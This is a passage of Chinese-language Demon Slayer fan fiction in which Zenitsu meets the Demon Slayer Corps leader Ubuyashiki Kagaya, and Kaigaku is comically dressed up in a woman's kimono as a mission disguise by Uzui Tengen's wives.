善逸抬起手,攥紧又松开。自从上回身体吸收掉了一部分的病气,善逸总感觉身体在悄悄的变化着。这段时间,他的恢复速度更快,挥刀的时候更加轻松,就连对体内电流的掌控力都更强了。
宇髄天元挑了挑眉。他上前两步,充满力量感的手臂按上善逸的肩膀,用力感受手下□□的强度。
骨骼强度、肌肉密度、爆发力……
他满意地收回手:“不错!你也非常华丽!”
善逸呲牙咧嘴地从宇髄天元的手下收回自己的肩膀。好痛!
“很好!”宇髄天元拍拍手,吸引两人的注意力:“我本来打算先对你们两个进行华丽的特训,但是现在有个紧急任务,”他的右手向后扶握背后的日轮刀,左手抚上涂着放射状红色眼妆的左眼:“你们两个就先和我上战场吧!”<
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p>“毕竟,实战可是最好的修行啊!!”
“是!”
半小时后,装备完整的两人告别了蝶屋的小伙伴们,跟在宇髄天元身后走出了蝶屋。
善逸有些莫名的小兴奋。“天元大人,我们要去哪……伊!”
刚出门,善逸和狯岳两个人就像麻袋一样被宇髄天元提到了手里。宇髄天元掂量了下两人的重量,将两人放到一只手上,随后脚下发力,像是一阵风一样蹿了出去:“出任务之前,先要送你们两个到一个地方!”
“伊呀!!”
善逸再次感受到了飞一般的感觉,被提在手中摇摇晃晃的,乒零乓啷和师兄撞在一起,像两个被挂起来的小风铃。
狯岳的脑袋再次磕到师弟的颧骨上,脑袋冒金星。他忍无可忍地伸手,死死抱住师弟一直在晃荡的头,固定两个人之间的动作。
宇髄天元察觉到手下两人的情况,抓着后衣领的手向上一抛,胳膊一夸,像是揽一捆柴一样,将两个人夹在了腋下。
之后满意地颠了颠,继续赶路。
“好了。”揽在两人腰上的手臂被松开,已经不成人形的非牛顿流体从天元的身上流淌下来,在地上混合成黏黏糊糊的一滩。
宇髄天元有些嫌弃:“你们两个,连我老婆们都不如。”之后大发慈悲地抬手,勉强分开地上的那摊,分别捞出两个人来。
“非常……抱歉……”尽管上回被宇髄天元营救时已经体验过一回这种移动方式,依旧没有适应的狯岳感觉身体像是被煮过的面条一般瘫软,酸水顺着喉咙翻上来,被他压了下去。“我……之后,会加强……这方面的训练……”
“师兄……我好像死了……yue……”
被捞起来的善逸虚弱地将自己搭在了狯岳身上,两个人就这样挤挤挨挨的,互相支撑着缓了半分钟。
直到晕眩感逐渐减缓,狯岳抽出点力气将自己肩膀上的脑袋推开,费力观察了下四周的情况。只见,他们正在一处幽静的日式庭院中。
“这里是……”善逸早早就注意到了建筑内的声音,心中有了猜测。此刻将脑袋转向宇髄天元,试图从他哪里得到确认。
宇髄天元冲善逸点头:“不错,这里就是我们鬼杀队主公大人的府邸。”
“收拾收拾准备面见主公吧。”宇髄天元双臂抱起,姿势闲散。
“诶——”善逸有点慌。这还是他两辈子第一次有机会见到这位主公大人呢!他扯住狯岳的袖子,紧张问:“见到主公需要说什么呢——好紧张!!师兄!!”
“放心。”华丽的音柱大人伸手,将善逸抓着的师兄抽走:“只有你一个人需要去哦。”
“至于你师兄,我就先带走了!”
宇髄天元抬手掀开狯岳的鬓发,另一只手扶着下巴,仔细观察了一瞬,随后满意点头,推着狯岳的背离开,头也不回地朝着善逸招手:“我们先走了,之后有隐部队的队员带你到任务现场的——”
“欸——就这么走了吗???师兄??天元大人??”
善逸被留在原地,欲哭无泪。
55.第 55 章
善逸幽怨地盯着宇髄天元和他揽着的狯岳,默默在心里咬手帕。可恶!他今天才重新见到师兄!
邪恶的祭典之神!
直到两人的背影消失在庭院,善逸可怜巴巴地收回视线,转向不知何时出现在他身后的隐部队队员,蔫蔫道:“走吧。”
天气正好,善逸顺着指引的方向来到了一处院落之中,那里,一位黑色半长发青年等候多时。
听到动静,他转过头,一双淡然平和的眼睛向着善逸的方向看来,眉目舒展,嘴角含笑。他主动出声:“善逸君,终于见面了。”
被这样的一双眼睛注视着,善逸与师兄分隔的烦躁微微退去。
这就是,鬼杀队的主公啊。
他右膝向前,下跪行礼:“我妻善逸,见过主公大人。”
“好孩子,起来吧。”
鬼杀队主公,产屋敷耀哉上前两步,抬手示意善逸起身:“不必多礼,放轻松就好。”
善逸从自己的胸口衣襟中掏出那封珠世小姐给的信件,双手呈上:“我依照您的指示前往浅草,幸运地寻找到了珠世医生,这是他交给您的信。”
“好的,好的,你做得很好。”产屋敷耀哉接过善逸手中的信件,牵引着善逸,两人跨过庭院,穿过檐廊,在茶桌前落坐。
两人对坐,仆人上前,为两人分别斟茶,随后行礼离开。
产屋敷耀哉示意善逸随意,将信件展开,细细阅读了起来。
善逸端起自己面前的茶杯,浅浅地抿了口茶,被舌尖浓茶的味道苦得皱了下眉,若无其事地将杯子放下,目光漫无目的地在室内游荡。
师兄被音柱大人带走了,现在在干什么呢……
心声,有点奇怪。但是他们现在距离有些远,听不到师兄在做什么……
可恶。音柱大人跑得真快。
善逸跪坐在茶室内,思绪却默默飘远,竟是在主公面前发起了呆。
产屋敷耀哉将信件放下时,见到的就是这副光景。
见到我妻善逸这副神游天外的神情,他端起茶杯,微微抿了一口,想起了自己这段时间获得的情报。
半个多月之前,一片区域内,大量恶鬼莫名失踪,剩下的鬼也都奇怪地开始拼命迁移,导致接到任务的鬼杀队剑士前往时找不到任务对象,无功而返。后来才查明,那条道上的所有恶鬼,都被一个穿着黄蓝色鳞纹羽织的鬼杀队队士所击杀。
那样的移动速度与任务强度,就连鬼杀队的柱都做不到。白天移动,半夜杀鬼,完全没有留下休息时间。
简直是在消耗生命去杀鬼。
产屋敷耀哉很担心我妻善逸的状态。他不希望自己手下的剑士早早倒下,不是因为恶鬼无可奈何的强大,而是因为疲惫这样的理由。
加上我妻善逸寻找那位珠世医生的任务,让他决定要亲眼见一见这位据说十岁就解决了下弦鬼的小子的模样。
我妻善逸的状态出奇的好,这让产屋敷耀哉欣慰的同时,也思考起了原因。
他想到了一个多月前,夫人产屋敷天音主持完考核后,对他说起的,来自我妻善逸的小小请求。
不想和师兄分开吗……
产屋敷耀哉恍然想起另一封来自蝶屋的信。
对我妻善逸的血液研究,竟然能使两个人的心意相通……他当时只是惊奇于这样的奇迹,此刻才醒悟,这可能就是我妻善逸情绪稳定的原因。
产屋敷耀哉微笑起来。
看来,不用他担心,他的队士已经找到了自己的心灵稳定剂呢。
他将茶杯放下,茶杯于茶盘接触的声响惊醒了神游的我妻善逸。
他猛然反应过来,懊恼自己竟然在与主公会面这样郑重的场合发呆,调整姿势直起了腰背,尽力让自己的注意力集中在眼前的会面中。
“这次任务,你完成的很好。”产屋敷耀哉将信纸重新折起,将其重新放回信封中,平整地安放在茶桌上。
“多亏了你,让我们鬼杀队得以与珠世小姐达成合作,从他哪里了解到更多关于鬼王与恶鬼一方的消息。”
产屋敷耀哉的说话声带着一种奇妙的韵律,三言两语就让我妻善逸有些不宁的心神平静下来。
“这是我身为鬼杀队队员应尽的责任。”在鬼杀队主公面前,善逸老老实实,不敢托大:“我只是跟着任务去了一趟浅草而已。”
“不,善逸,你非常重要。”产屋敷耀哉弯起唇角,雾紫色的眼睛欣慰地望着我妻善逸。
他脸上的癍纹已经爬上了眼侧,左眼蒙上了一层病态的白翳,不怎么看得清了。但是他的右眼还能看见,他想要在还有视力的时候,尽力多看看他如亲子般看待的队士的面容,将他们记在心中,将每一位用生命与恶鬼拼杀的队士记在心中。
“我本没期待在第一次的交流中就和珠世小姐达成合作。是你的表现,让珠世小姐越过重重顾虑选择了与鬼杀队建立联系,让鬼杀队能够获得这样强大的助力。”
“你是我们鬼杀队与恶鬼抗争的几百年来遇见的最大变数。我有预感,我们与恶鬼的争斗,即将在我们这一代结束。”
“与恶鬼纠缠的命运即将被改写。善逸君,你是改写命运的笔。”
产屋敷耀哉的目光温柔,声音也不大,却让被他注视着的人感受到一股力量感。
善逸的腰板逐渐挺直,慷慨激昂的情绪在心胸中不断激荡,消弭着从珠世医生哪里得知自己重要性时就累积下来的不安。
他从跪坐的姿势起身,左腿后撤半步,跪下行礼。
“我愿化作鬼杀队最尖利的利刃,狠狠砍入恶鬼的胸膛之中!”
产屋敷耀哉轻轻将手放在善逸的肩膀上:“好孩子。”
“那么,尽管前进吧。鬼杀队会是你的永远的依靠与归途。”
我妻善逸心情激荡着从主公的院子中走出,在一旁等候已久的隐部队成员的带领下,连蹦带跳前往音柱与师兄所在的位置。
“师兄——我来啦……”我妻善逸沉浸在被产屋敷耀哉肯定的兴奋之
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中,一把就拉开了师兄所在房间的帐子门——
没想到,打开房间后,率先看见的是一位身段美丽的黑发女子衣衫半拢的背影。
只见那女子青丝如瀑,肩上披着一件墨绿色带翠竹暗纹的和服,在善逸推开门时正在用手臂撩出衣服里的黑发,不经意间漏出瓷白的后颈。被披在肩上的衣服也随着动作而晃动,隐隐勾勒出美丽的身段。
“伊!!!对不起!!!!”
我妻善逸脸色爆红,后退一步,双手“唰”地一下,重新拉上了帐子门。
随后转身,被靠着墙,双手捂脸,缓缓滑了下去。
我妻善逸大脑一片空白。
虽说他两辈子总是拽着女人要去结婚,但是被女人拒绝了两辈子的他还是第一次误闯进这种……隐秘的场合!!
要是被师兄知道自己冒冒失失地干出了这种事,绝对会被赶出雷门的吧??
“对不起!!”善逸隔着帐子门向之后的人道歉,随后声音降低了一些,尽量不让除二人外的其他人听见:“误闯了你换衣服的现场非常抱歉!我会负责的!!金钱赔偿也好其他的什么也罢!就算要我以身相许也是可以的……”
“你嘀嘀咕咕在外面说什么呢?”
忽然,善逸身后的帐子门从背后被人拉开,措不及防下我妻善逸直接滚进了刚刚的房间中。
“唔!!”我妻善逸的脑袋磕在了一个有些柔软的东西上。他下意识蹭了蹭,下一秒,那个东西向后撤开,随后是师兄嫌弃的声音:“在我的脚上蹭什么呢?你是变态吗你。”
啊!!师兄的声音!!
我妻善逸睁开眼,视线中是师兄居高临下的俯视表情,脸侧的长发顺着低头的动作滑落下一缕,没入还没合拢的和服前襟中,柔软的胸膛敞露大半,在那一缕黑发的映衬下更显白皙。由于他的姿势,视野上方正好是微微合拢的和服下摆,在晃荡的动作中,颇有肉感的大腿在他的视线中半隐半露……
我妻善逸再次被美景暴击,脑袋昏昏沉沉的,一股热流从鼻腔中涌出,顺着他的脸颊向下滑落。
他的眼睛瞪得大大的,呆愣愣的脑袋试图理解这一切。
“师兄……你……”我妻善逸的语言系统几乎要失灵,没过大脑的语言脱口而出:“原来是个女人吗?”
“哈???”
稻玉狯岳简直要被这个蠢东西给气笑了!他抬脚,没穿鞋的脚狠狠地踩在了摔在他脚前的我妻善逸的脸侧:“你是傻了吗?找个医生看看脑子也好过在我这里犯蠢吧?蠢货!”
师兄的脚踩在了我的脸上……
善逸呆愣地想。他自己可能是坏掉了。不然为什么这样这个过分的动作,会让他的脸越来越烫呢?
而且啊……
师兄这种动作,真的会走光啊!
随着狯岳的动作,本来还若隐若现的光景现在完全展现在了善逸眼中。
充满力量感的小腿,肉感的大腿……
我妻善逸的眼睛都直了。
56.第 56 章
狯岳的脚下,与师弟皮肤接触的地方,逐渐传来一阵沾腻的触感。
他低头一看,自己的蠢货师弟不知为何鼻血流得越来越凶,竟是流到了他的脚上!
狯岳嫌恶地收回脚,蹭在我妻善逸的胸前,仔细蹭掉脚上的血渍:“你真是有够恶心的,善逸。”
将脚上的液体蹭干净,狯岳也没了再跟师弟废话的心情。他转过身,走进身后的屏风中,同时声音放大:“废物,擦干净你的鼻血之后来帮我穿衣服。”
我妻善逸软趴趴地躺在地上。虽说师兄只是简单地踩了他两下,他却感觉自己像是被妖精吸取了精气一般,浑身的力气都消失了,变成了一滩只会在地上翻滚的烂泥。
啊。
到底是怎么回事?
误闯的换衣现场主人公竟然是师兄吗?
我妻善逸呆呆地盯着屋顶的横梁。
这横梁可真嫩啊……不对这屋顶可真白啊……不对不对这光线可真大啊……
所以说师兄到底是怎么回事??
他猛然坐起,用袖子抹掉脸上的血渍,声音震惊中带着悲愤:“师兄??你为什么要穿这样的衣服啊啊啊啊啊!!”
“吵什么?”狯岳正在努力和和服搏斗,烦躁地在一堆布料中蛄蛹,好不容易将身上的衣服规整好,才发现少穿了内部的襦袢,只能双手拉上衣领,准备将身上披好的和服脱掉重新穿:“还不快来?”
我妻善逸扭扭捏捏地进到屏风之后,嘴上还在不停嘀咕:“真是的,师兄,明明有屏风,为什么还要在屏风外换衣服啊——被别人突然闯进来不就看光了吗……”
“除了你这个没礼貌的蠢货,还有谁会直接闯进来?”狯岳将襦袢递到善逸手上,随后顺着袖子剥下身上的和服,和服顺着重力下落,在地上堆成一团。
善逸感觉自己脸上又火烧火燎地烫了起来。他强装镇定,将手上的襦袢穿到了伸开双手的师兄身上。
狯岳实在被这复杂的女士振袖和服烦到不行,此刻有善逸帮忙,他心安理得地伸开双臂,将穿和服这件事全权交给了我妻善逸。
善逸将师兄的头发从襦袢下捞出,感受着发丝穿过手指的柔顺触感,疑惑问:“师兄,你的头发怎么变得这么长了?”
“天元大人给的假发。”狯岳懒散地撑开双手,俯视着善逸的黄色脑袋在自己的身前忙活。
善逸低身系好襦袢的带子,随后从地上捡起和服展开,顺着师兄的手臂一点点将振袖和服巨大的袖子套上,细致地整理好落地时和服压出来的褶皱,前襟交叉压好,随后凭着自己曾经见过的女士和服的样式潦草生疏地系上腰带。
狯岳低头,看到腰间那个丑陋恶心得像是个大疙瘩的蝴蝶结,疑惑地问:“废物,女士和服的腰带是这样系的吗?”
“应该是吧?”我妻善逸再次扯了扯那个大疙瘩,试图将它扯成一个蝴蝶结的样子。然而他的挣扎只是徒劳,那个腰带疙瘩在他的拉扯下,非但没有成型,反而更恶心了。
两个人面面相觑,都不知道该怎么办。没办法,对于两个从小流浪的小孩来说,穿女士和服这件事从来都不在他们的技能范围之内。
此时,门外传来敲门声,之后是女人的声音:“换好了吗?我要进来了。”
“好了!”狯岳也不管腰间的丑东西,连忙俯身穿好袜子踩上木屐,扯着善逸来到屏风之外。
此时的帐子门也被拉开,善逸顺着声音抬头望去,外面时宇髄天元的三个老婆,雏鹤、须磨和莳绪。
“我们回来了——”三人都是利落的女忍打扮,此时手上捧着各种各样的饰品以及化妆品,好奇地望着换好衣服的狯岳。
“哇哦……”莳绪的嘴微微张开,有些惊讶地看着眼前穿着墨绿色振袖的狯岳。在振袖之下,狯岳原先那相对于女性有些宽的肩部线条被宽大的袖子遮掩模糊,反而是因长期的锻炼而变得厚重的胸脯凸显出来,加上被和服下摆包裹着的腰腿曲线,让人完全意识不到,这位娉婷婀娜的女子竟是一位男性。
“看吧!我就说!!”莳绪身旁的须磨激动极了,她“砰”地一声将手上摆满发饰的托盘放到桌子上,左手握拳,狠狠地砸在右手心:“像是那种十几岁女孩穿的二尺袖反而不会好看!!”
莳绪听着托盘撞在桌子上的声音,脑袋上冒起青筋,“Duang”地敲上了须磨的脑袋:“动作轻点!!!”
“!!!莳绪你敲得我好痛!!!”莳绪双手抱住自己的脑袋,仰头长着嘴巴大声说:“我要告诉天元大人!!”
雏鹤听着她们日常吵闹,抿嘴笑得很好看。他来到狯岳身边,将狯岳腰上的结解开,重新将腰带系好,在她的手指之下,刚刚那坨恶心的疙瘩很快变成了一个蝴蝶结:“好了,这样就好。”
善逸新奇地看着那个蝴蝶结,手上还模拟着刚刚学到的动作,在虚空中绕着圈。狯岳则一脸微妙地观察着旁边吵吵闹闹的两位,总感觉有股莫名的既视感。
不确定,再看看。
“好了。”雏鹤开口,打断那边打打闹闹的两个人:“我们该抓紧时间给狯岳准备妆容了。天元大人的任务很着急。”
莳绪停下了追逐,扯着须磨的后领来到了狯岳面前。
雏鹤从托盘中拿下梳子,将狯岳头上微微有些发毛的假发梳顺,随后拿起发簪,一通摆弄之下,狯岳那一头及腰的长假发温顺地盘在脑后,被雏鹤精心挑选的红白山茶缠花簪子束缚着。艳丽的红山茶被小朵的山茶花簇拥着插在乌黑的发丝间,搭配着狯岳身上墨绿色的和服,带来一种艳丽感。
莳绪挑起狯岳的下巴,左右仔细打量狯岳的脸蛋,随后一打响指,对身旁的须磨说:“上道具!”
须磨打开装着各式各样的化妆用品的箱子,从中精准地找出莳绪需要的材料。
两人在狯岳脸上涂涂抹抹,很快,当狯岳再次睁开眼睛时,一旁张大嘴围观的善逸惊讶地发现,他的师兄,好像真的变成师姐了!
狯岳脸上带有男性特征的凌厉线条被莳绪压下,加上正处于少年,面部轮廓相对柔和,在这样轻微地改动之下,狯岳的面庞在他的衣服衬托下,基本看不出违和感。
须磨指挥着莳绪没有改动狯岳的眉形,只是微描了下狯岳上扬的眼角,并用口脂给狯岳略显暗淡的唇上了点鲜艳的颜色。正是这点小小的改变,让狯岳的气
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质更为流畅自然,睁开眼看到镜子中的自己微微皱眉,像是一朵美艳的花。
善逸瞪大了眼睛,他眼前的师兄与印象中不同,已经完全变了模样:肤色皙白,唇色艳丽,英气的眉毛微微蹙起,大而圆的暗绿猫眼带着审视的意味,一头黑发盘在脑后,红山茶缠花从乌发间艳丽地生长而出,配着周围小朵的红白山茶颓靡地开着,更显美丽;墨绿色的振袖和服配上暗金色的腰带,将狯岳的身体牢牢包裹着,像是花枝一般。
眼前的狯岳,已经全然变成了一只山茶花的妖精。
善逸眼睛发直,无论如何也不敢相信眼前人竟是他那个凶凶的师兄。
虽说他早就知道师兄长得非常好看,但是啊……但是啊!!在师弟面前变成这个样子!根本不对吧?!!
“非常不错啊小狯岳!!”莳绪豪放地拍着狯岳的肩膀,将狯岳拍得一颤一颤:“这不是非常好的伪装吗?”
雏鹤也单手拖着下巴,欣赏地打量着狯岳的装扮。
狯岳略微不自在地扯了扯自己身上的衣服,随着他脑袋的晃动,插在脑后的山茶发簪下垂着的金属垂链互相撞击,发出叮铃铃地脆响,让狯岳的脖颈瞬间僵住,不敢再动弹。
“噗呲!”须磨被狯岳僵硬的动作逗笑,旁边的雏鹤宽慰狯岳:“没关系,随意些就好,没必要一只维持这样的姿势。”
听了雏鹤的话,狯岳僵硬的动作在微微松懈下来,单手撑着旁边善逸的肩膀,从跪坐的姿势起身,在女士和服的拘束中,挣扎出自己摆腿的余量,尝试着走了几步。
现在时间正值春天的末尾,天气一天天变暖,于是狯岳身上的和服布料也颇为轻薄,不是那种厚重的和服样式,展现着身上起伏的线条,加上腰带的勾勒,更是随意又不失贵气,在脚步的挪动下细致地展示美好的身形。
狯岳别扭但也无奈地接受了这身装扮,在三位女忍的肯定下,他的嘴唇微微抿起,那一点点的抵触也消弭不见,脚步越发坚定而自信,就连身上原先觉得碍事的和服也好接受了许多。
也正是此时,帐子门再次被拉开,换下了鬼杀队队服,转而穿了一身带着大簇鲜花纹样的黑色男式和服,披着亮闪闪的银线羽织的宇髄天元走了进来。
他绚丽的白发披散了下来,头上绚丽的宝石护额也摘下,右眼上夸张的红色放射眼妆被擦了干净,明艳帅气的五官完全展露。
“呦!已经好了吗?”宇髄天元双手放在两边的袖子里揣了起来,见到狯岳的装扮后先是眼睛微微睁大了一秒,随后就抚掌大笑:“哈哈哈,真是华丽啊!不愧是我宇髄天元的继子!!”
狯岳将自己的表情绷紧,但是熟悉他的我妻善逸还是发现了师兄藏在眼角眉梢的那点子高兴。
“这是您交给我们的第一个任务。我会好好完成的。”
说话间,狯岳的嘴角还是微微扬起,从紧绷的表情下露出了一个浅淡的笑。
嘁。善逸从侧面望着师兄的美丽笑靥,心中莫名冒出酸水。
这笑容是单给我一个人的,还是别的人都有的?
若是别人都有的,那我就……还要!!!
生胖气.jpg